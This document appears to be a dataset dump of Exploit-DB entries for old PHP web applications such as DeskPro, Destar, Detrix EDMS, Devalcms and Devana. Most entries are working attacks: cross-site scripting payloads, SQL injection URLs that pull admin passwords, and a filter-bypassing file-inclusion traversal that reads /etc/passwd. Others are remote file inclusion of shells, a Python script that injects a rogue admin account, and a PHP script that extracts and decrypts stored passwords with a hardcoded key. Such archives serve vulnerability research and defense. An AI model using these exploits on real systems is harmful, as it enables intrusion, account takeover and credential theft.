deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29605
Description: Deskpro 1.1 - 'faq.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-15
Author: BLacK ZeRo

Exploit:
source: https://www.securityfocus.com/bid/22577/info

Deskpro is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.1.0; other versions may also be affected. 

http://www.example.com/dp/faq.php?article=[xss]
Exploit-DB #23264
Description: DeskPro 1.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2003-10-20
Author: Aviram Jenik

Exploit:
source: https://www.securityfocus.com/bid/8856/info

It has been reported that DeskPro is prone to multiple SQL injection vulnerabilities due to insufficient sanitization of user-supplied input. The problem is reported to be present in various parameters such as cat, article, and ticketid of the faq.php and view.php modules. This issue may allow a remote attacker to influence SQL query logic in order to compromise the DeskPro application or view/modify sensitive information. The consequences of exploitation may vary depending on the underlying database implementation.

DeskPro version 1.1.0 and prior have been reported to be prone to this issue, however other versions may also be affected. 

http://www.example.com/deskpro_v1/faq.php?cat=45'
http://www.example.com/deskpro_v1/faq.php?article=105'
http://www.example.com/deskpro_v1/view.php?ticketid=1'&ticket_pass=
Exploit-DB #29828
Description: DeskPro 2.0.1 - 'login.php' HTML Injection
Type: webapps
Platform: php
Date: 2007-04-09
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/23381/info

DeskPRO is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

DeskPRO 2.0.1 is vulnerable to this issue. 

<html>
<head><title>DeskPRO v2.0.1 - Cross-Site Scripting Vulnerability</title><body>

<center><br><br><font size=4>DeskPRO v2.0.1 - Cross-Site Scripting Vulnerability</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John
Martinelli</a></font><br>

<br><br>
<form action="http://target.com/login.php" method="post">
<input type=hidden name="login_form" value="login">
<input type=hidden name="_getvars" value="getvars">
<input type=hidden name="_postvars" value="postvars">
<input type=hidden name="_filevars" value="filevars">
<input type=hidden name="password" value="password">
<input type=hidden name="remember" value=0>
<input name="username" size=75 value="<"<<script>alert(1);</script>">
<input type=submit value="Execute XSS Attack" class="button">
</form>

</body></html>
Exploit-DB #5715
Description: DesktopOnNet 3 Beta - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-06-01
Author: MK

Exploit:
=========================================================================================
[-] Author: MK
[-] Script: DesktopOnNet 3 Beta Remote File Inclusion
[-] URL: http://sourceforge.net/projects/don3/
[-] Date: 1/06/2008
[-] Email: milad.khalafi@gmail.com
=========================================================================================
[-] Exploit:
http://127.0.0.1/DON3/applications/don3_requiem.don3app/don3_requiem.php?app_path=SH3LL?
http://127.0.0.1/DON3/applications/frontpage.don3app/frontpage.php?app_path=SH3LL?
=========================================================================================

# milw0rm.com [2008-06-01]
Exploit-DB #11729
Description: DesktopOnNet 3 Beta9 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-14
Author: cr4wl3r

Exploit:
[+] DesktopOnNet 3 Beta9 Local File Include Vulnerability
[+] Discovered By: cr4wl3r
[+] Download: http://sourceforge.net/projects/don3/files/
[x] Code in [DON3/applications/don3_toolbox.don3app/don3_toolbox.php]

require("appfiles/languages/$don3_lang.php"); <--- LFI
if (!file_exists('library/don3_toolbox.don3lib')){
don3_do_don3lib("DON3: ToolBox;window;M;", "don3_toolbox");
}
$item = $_GET["ac"];
$toolbox_path = $app_path;
if (array_key_exists($item, $don3_toolbox_overview_words)){
$currently = $don3_toolbox_overview_words[$item];
} else {
$currently = $don3_toolbox_overview_words["start"];
}

[+] PoC: [path]/applications/don3_toolbox.don3app/don3_toolbox.php?don3_lang=[LFI%00]
Exploit-DB #5305
Description: Destar 0.2.2-5 - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-03-24
Author: nonroot

Exploit:
#
#!/usr/bin/python
#
# Exploit for destar 0.2.2-5, tested on Linux Debian
#
# Bug found and  exploit coded by a non root user
# http://nonroot.blogspot.com/
#
# Enero 2008
#
# This is a PoC, please use it just for learning how to exploit something
#
# use: $python ./exploit_code.py
#
# required: urllib, sys and re
#
import urllib
import sys,re
print "Target host: i.e: http://127.0.0.1:8080/"
host=raw_input("Target host ( include http and /): ")
user=raw_input("A normal user for destar:")
password=raw_input("A normal password for destar:")
null=""
print "trying ..."
loggin = urllib.urlencode({'name': user, 'pw': password})
attack = urllib.urlencode({'cfim': null, 'cfbs': null, 'cfto': null, 'dsec' : '45', 'vmim' : 'yes','vmbs' : 'yes', 'vmu' : 'yes', 'pin' : '1234,) ; CfgOptUser(name="theroot",secret="theroot",pc="200.75.43.187",phone="agent1",pbx="pbx1",level="4",language="en",) ; CfgPhoneSip(pbx="pbx1000",name="OpenBSD-Agent",secret="imsecure",ext= "2999",dtmfmode = "rfc2833",enablecallgroup = True,callgroup = "1",queues="queue1",panel= True' })
response= urllib.urlopen(host+"login/", loggin)
data=response.read()
lookup=re.compile("'User'").search
match=lookup(data)
if match:
	print user,"logged, now trying exploit"
else:
	print "Password invalid, try again."
	sys.exit(2)

response= urllib.urlopen(host+"user/settings/", attack)

if response:
	print "ok, attack was done, now i will try loggin like 'theroot'"
	user='theroot'
	[CREDENTIAL_REDACTED]'
	loggin = urllib.urlencode({'name': user, 'pw': password})
	response= urllib.urlopen(host+"login/", loggin)
	data=response.read()
	lookup=re.compile("'Programmer'").search
	match=lookup(data)
	if  match:
        	print "Exploit ok. try: ",host+"/user/info"
	else:
		print "Exploit failed, sorry, maybe you need that the sysadmin restart destar, be patient!"
		sys.exit(2)
else:
	print "Exploit failed, sorry, go and find some new bug or check this code and fix it!"
	sys.exit(2)

# milw0rm.com [2008-03-24]
Exploit-DB #5298
Description: Destar 0.2.2-5 - Arbitrary Add New User
Type: webapps
Platform: php
Date: 2008-03-23
Author: nonroot

Exploit:
#
#!/usr/bin/python
#
# Exploit for destar 0.2.2-5, tested on Linux Debian
#
# Bug found and  exploit coded by a non root user
#
# http://nonroot.blogspot.com
#
# Enero 2008
#
# This is a PoC, please use it just for learning how to exploit something
#
# use: $python ./exploit_code.py
#
# required: urllib,urllib2 sys and re
#
import urllib,urllib2
import sys,re
print "Target host: i.e: http://127.0.0.1:8080/"
host=raw_input("Target host ( include http and /): ")
#info for the new user
#
user='mama'
password='mama'
source_ip='127.0.0.9'
phone=''
level='Configurator'
language='en'
#
#
req = urllib2.Request(host)
adduser = urllib.urlencode({'name': user, 'secret': password, 'pc' : source_ip, 'submit' : "Submit", 'phone' : phone, 'level' : level, 'language' : language})
req.add_header('X_FORWARDED_FOR','')
req = urllib2.Request(host+"config/add/CfgOptUser")
r = urllib2.urlopen(req,adduser)
data=r.read()
lookup=re.compile("There were errors").search
match=lookup(data)
if not match:
	print "Ok, now go and test your user at:",host
else:
	print "Exploit failed, sorry, go and find some new bug or check this code and fix it!"
	sys.exit(2)

sys.exit(0)

# milw0rm.com [2008-03-23]
Exploit-DB #47455
Description: Detrix EDMS 1.2.3.1505 - SQL Injection
Type: webapps
Platform: php
Date: 2019-10-02
Author: Burov Konstantin

Exploit:
#!/usr/bin/php

/*
# Exploit Title: Detrix EDMS cleartext user password remote SQLI exploit

# Google Dork:
# Date: Jul 2019
# Exploit Author: Burov Konstantin
# Vendor Homepage: forum.detrix.kz
# Software Link:
https://www.documentov.com/index.php?route=document/search&search=1.2.3.1505.zip&page=1&limit=20&document_uid=3d7bae5a-c2e5-11e8-9ed8-b7ed7eb0f5bb
# Version: any
# Tested on: Detrix 1.2.3.1505
*/

<?php

/*---------------------------CHANGE-ME--------------------------------*/

$URL = "http://192.168.56.6"; // Set URL for the target host
$user_id = 0; // 0 - Default admin ID

/*--------------------------------------------------------------------*/

$banner = "Exploiting SQLi vuln and password decrypting for Detrix\n".
	"http://forum.detrix.kz\nhttps://github.com/sadshade/Detrix-Passwords-PoC \n".
	"sad.2.shade@mail.com, 2019.\n\n";

// SQLi request
$sql_req =
	"login' AND 99=CAST('a__'||(SELECT COALESCE(CAST(password AS ".
	"CHARACTER(10000)),(CHR(32))) FROM manuscript.ref_system_users OR".
	"DER BY id OFFSET " . $user_id . " LIMIT 1)::text||'__a' ".
	"AS NUMERIC) AND 'a'='a";

$data = array('password' => 'pass',
	'login' => $sql_req);

$options = array(
    'http' => array(
        'header' => "Content-type: application/x-www-form-urlencoded\r\n",
        'method' => 'POST',
        'content' => http_build_query($data)
    )
);

// Key from %detrix%/system/utils/MSF_string.php
$sSuperDuperSecretKey =
	"!-eeflslskdjfla;456864~}{fjkdlswkfkll@#$%#$9f0sf8a723#@";

echo $banner;

try {
	$context  = stream_context_create($options);
	echo "Send SQLi to $URL...\n";
	$result = file_get_contents($URL, false, $context);
} catch (Exception $e) {
    echo 'Error: ',  $e->getMessage(), "\n";
}

if ($result != "") {
	if (preg_match("/\"a__(.+)__a\"/", $result, $encrypted_pass) == 1) {

		$clear_pass = trim(
			openssl_decrypt(base64_decode($encrypted_pass[1]),
			"BF-ECB", $sSuperDuperSecretKey,
			OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING)
		); // Decrypt pass
		echo "Pass for User id $user_id: $clear_pass \n";
	} else echo "Error: no such User id:$user_id or empty password!\n";
} else echo "Error: empty Response or error!\n"

?>
Exploit-DB #26978
Description: Dev Web Management System 1.5 - 'add.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-27
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/16063/info
   
Dev Web Management System is prone to multiple input validation vulnerabilities. These issues may allow SQL injection and cross-site scripting attacks.
   
Dev Web Management System versions 1.5 and earlier are prone to these issues. 

http://example.com/[path]/add.php?language[ENTER_ARTICLE_TITLE]=");}}--></script><script>alert(document.cookie)</script>

http://example.com/[path]/add.php?language[SPECIFY_ZONE]=");}}--></script><script>alert(document.cookie)</script>

http://example.com/[path]/add.php?language[ENTER_ARTICLE_HEADER]=");}}--></script><script>alert(document.cookie)</script>

http://example.com/[path]/add.php?language[ENTER_ARTICLE_BODY]=");}}--></script><script>alert(document.cookie)</script>
Exploit-DB #26977
Description: Dev Web Management System 1.5 - 'download_now.php?target' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-27
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/16063/info
  
Dev Web Management System is prone to multiple input validation vulnerabilities. These issues may allow SQL injection and cross-site scripting attacks.
  
Dev Web Management System versions 1.5 and earlier are prone to these issues. 

http://example.com/[path]/download_now.php?target=[PII_REDACTED]999[SQL]
Exploit-DB #26976
Description: Dev Web Management System 1.5 - 'getfile.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-27
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/16063/info
 
Dev Web Management System is prone to multiple input validation vulnerabilities. These issues may allow SQL injection and cross-site scripting attacks.
 
Dev Web Management System versions 1.5 and earlier are prone to these issues. 

http://example.com/[path]/getfile.php?cat=%%'UNION%20SELECT%20value,value%20FROM%20variables1%20%20WHERE%20name='admin_password'/*
Exploit-DB #32130
Description: DEV Web Management System 1.5 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2008-07-30
Author: Dr.Crash

Exploit:
source: https://www.securityfocus.com/bid/30447/info

DEV Web Management System is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include local file-include, SQL-injection, and cross-site scripting vulnerabilities.

Exploiting these issues could allow an attacker to view sensitive information, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DEV Web Management System 1.5 is vulnerable; other versions may also be affected. 

http://www.example.com/?session=">><>><script>alert(document.cookie)</script> <html> <head></head> <body onLoad=javascript:document.form.submit()> <form action="http://www.example.com/index.php?session=0&action=search" method="POST" name="form"> <form method="post" onSubmit="return validateprm(this)"><input type="hidden" name="prip" value="true"/><input type="hidden" name="action" value="search"/> <input type="hidden" name="kluc" value="&#34&#39&#39&#39&#60&#62&#62&#62&#62<script>alert('xss')</script>"> </form> </body> </html> http://www.example.com/index.php?session=0&action=read&click=open&article=[SQL CODE] http://www.example.com/admin/index.php?start=install&step=file.type%00
Exploit-DB #28825
Description: Dev Web Manager System 1.5 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-17
Author: CorryL

Exploit:
source: https://www.securityfocus.com/bid/20590/info

DEV Web Manager System is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

DEV Web Manager System 1.5 and prior versions are vulnerable; other versions may also be affected.

http://www.example.com/index.php?session=0&action=>"><ScRiPt%20%0a%0d>alert(775195196)%3B</ScRiPt>
Exploit-DB #11643
Description: dev4u CMS (Personenseiten) - 'go_target.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-06
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : dev4u CMS (Personenseiten) go_target.php SQL Injection
+Autor : Easy Laster
+Date   : 06.03.2010
+Script  : dev4u CMS Personenseiten
+Download Site : http://www.dev4u.de/cms/personenseiten.php
+Price : 595€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/dev4u/go_target.php?go_target=texte&kontent_id=999999'

+Exploitable   : www.site.com/dev4u/go_target.php?go_target=texte&kontent_id=9999999'
+union+select+1,2,3,4,5,6,7,8,concat(user_name,0x3a,passwort),10,11,12,13,14,15,16+from+
cl_user+where+user_id=1--+&v=print
-----------------------------------------------------------------------------------------
Exploit-DB #5822
Description: Devalcms 1.4a - 'currentfile' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-06-15
Author: CWH Underground

Exploit:
=====================================================
  Devalcms  1.4a Local File Inclusion Vulnerability
=====================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 15 June 2008
SITE   : www.citec.us


#####################################################
APPLICATION : Devalcms
VERSION     : 1.4a
DOWNLOAD    : http://downloads.sourceforge.net/devalcms
#####################################################

--- LFI ---

** magic_quotes_gpc = Off **

-------------------------
 Vulnerable in func.php
-------------------------
@Line 
   
   13:  $myfile = $gv_folder_data . $currentpath . "/" . $myfile;
   14:
   15:  if(is_file($myfile)){
   16:  	include($myfile);
   17:  } else {
   18: 	        echo "not found";
   19:  }
    .
    .
    .
   98: function mystriprelative($mytext)
   99: {
  100:	$mytext2 = $mytext;
  101:	$mytext2 = str_replace("/..","",$mytext2);
  102:	$mytext2 = str_replace("\\..","",$mytext2);
  103:	$mytext2 = str_replace("../","",$mytext2);
  104:	$mytext2 = str_replace("..\\","",$mytext2);
  105:	return $mytext2;	
  106: }
   
-------------------------
 Detail of vulnerability
-------------------------
    Function mystriprelative is a function to prevent user from inserting relative path into variable.
As the code above, you can bypass this fuction by something like following

Simple Algorithm:

[+] When we use ".../...//" Function will convert to "../"
[+] When we use "./.....//" Function will convert to "../"
[+] When we use ".../...//./.....//" Function will convert to "../../"

    So we must use ".../...//./.....//./.....//etc/passwd%00" Function will convert to "../../../etc/passwd%00"

-------------
 POC Exploit
-------------

For Windows:
[+] http://[Target]/[devalcms_path]/index.php?currentpath=..&currentfile=.../...//./.....//./.....//boot.ini%00

For Linux:
[+] http://[Target]/[devalcms_path]/index.php?currentpath=..&currentfile=.../...//./.....//./.....//etc/passwd%00

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-15]
Exploit-DB #11922
Description: Devana - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-28
Author: Valentin

Exploit:
# Exploit Title: Devana SQL Injection vulnerability
# Date: 28.03.2010
# Author: Valentin
# Category: webapps/0day
# Version: 
# Tested on: Debian lenny, Apache2, MySQL5
# CVE :  
# Code : 



:: General information
:: Devana SQL injection vulnerability detected
:: by Valentin Hoebel
:: valentin@xenuser.org

:: Product information
:: Name = Devana
:: Vendor = Busuioc Andrei / open source project
:: Vendor Website = http://devana.eu/
:: About the product = http://sourceforge.net/projects/devana/
:: Affected versions = All, latest vulnerable version: 1.6.6
:: Google dork: "Devana is an open source project !"


:: SQL Injection vulnerability
Devana is an open source browser game in which the player can choose between one of three factions and build an empire. Without being logged in, you have the possibility to view the profiles of other players, file: profile_view.php.
Sadly Devana doesn't check the input so SQL injection is possible.
There are currently seven other browser games being listed on sourceforge.net which are based on Devana. It is possible that they suffer from the same vulnerability.

Vulnerable URL
http://some-cool-domain.tld/profile_view.php?id=1

Test URL
http://some-cool-domain.tld/profile_view.php?id='

Exploit vulnerability, e.g. by displaying the version of the MySQL server:
http://some-cool-domain.tld/profile_view.php?id=1+AND+1=2+UNION+SELECT+1,2,concat(version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--

Or by displaying the current MySQL user:
http://some-cool-domain.tld/profile_view.php?id=1+AND+1=2+UNION+SELECT+1,2,concat(user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
--------------------------------------------------------------------------------------------------------


:: Additional information
:: Vendor contacted = 28.03.2010
:: Vulnerability is expected to be fixed soon.
:: Solution = Upgrade to new version when it is released.
Exploit-DB #27742
Description: DevBB 1.0 - 'member.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-26
Author: Qex

Exploit:
source: https://www.securityfocus.com/bid/17703/info

DevBB is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/member.php?action=viewpro&member=[XSS]